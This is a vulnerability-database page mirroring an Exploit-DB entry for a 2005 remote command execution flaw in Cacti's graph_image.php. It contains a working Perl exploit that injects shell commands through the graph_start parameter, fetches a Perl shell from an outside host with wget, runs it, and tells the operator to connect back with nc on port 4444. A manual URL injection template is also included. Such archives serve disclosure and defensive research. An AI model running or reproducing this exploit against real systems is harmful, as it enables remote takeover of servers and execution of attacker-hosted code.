Lucene search
+L

RaXnet Cacti 0.5/0.6.x/0.8.x - 'Graph_Image.php' Remote Command Execution Variant

🗓️ 01 Jul 2005 00:00:00Reported by Alberto TriveroType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 20 Views

Cacti remote command execution via graph_image.php due to improper input sanitization.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Cacti Local File Inclusion Vulnerability
22 Jun 200500:00
nessus
nessus
Tenable Nessus
Cacti < 0.8.6e Multiple Vulnerabilities
3 Mar 201500:00
nessus
nessus
Tenable Nessus
Debian DSA-764-1 : cacti - several vulnerabilities
21 Jul 200500:00
nessus
nessus
Tenable Nessus
GLSA-200506-20 : Cacti: Several vulnerabilities
23 Jun 200500:00
nessus
cve
CVE
CAN-2005-1524
11 Aug 202421:49
cve
cve
CVE
CVE-2005-1524
22 Jun 200504:00
cve
cvelist
Cvelist
CVE-2005-1524
22 Jun 200504:00
cvelist
debian
Debian
[SECURITY] [DSA 764-1] New cacti packages fix several vulnerabilities
21 Jul 200505:53
debian
debiancve
Debian CVE
CVE-2005-1524
22 Jun 200504:00
debiancve
exploitdb
Exploit DB
RaXnet Cacti 0.5/0.6/0.8 - 'Top_Graph_Header.php' Remote File Inclusion
20 Jun 200500:00
exploitdb
Rows per page
source: https://www.securityfocus.com/bid/14129/info

RaXnet Cacti is prone to a remote command execution vulnerability that manifests in the 'graph_image.php' script. The issue is due to a bug in the input filters that leads to a failure in the application to properly sanitize user-supplied input.

This issue can facilitate various attacks including unauthorized access to an affected computer.

#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting -->
http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&gr
aph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t=      by Alberto Trivero     =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
local_graph_id";
print "[~] Sending exploiting request, wait for some seconds/minutes...\n";
get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_sta
rt=%0acd /tmp;wget http://albythebest.altervista.org/shell.pl;chmod 777
shell.pl;perl shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.1587
20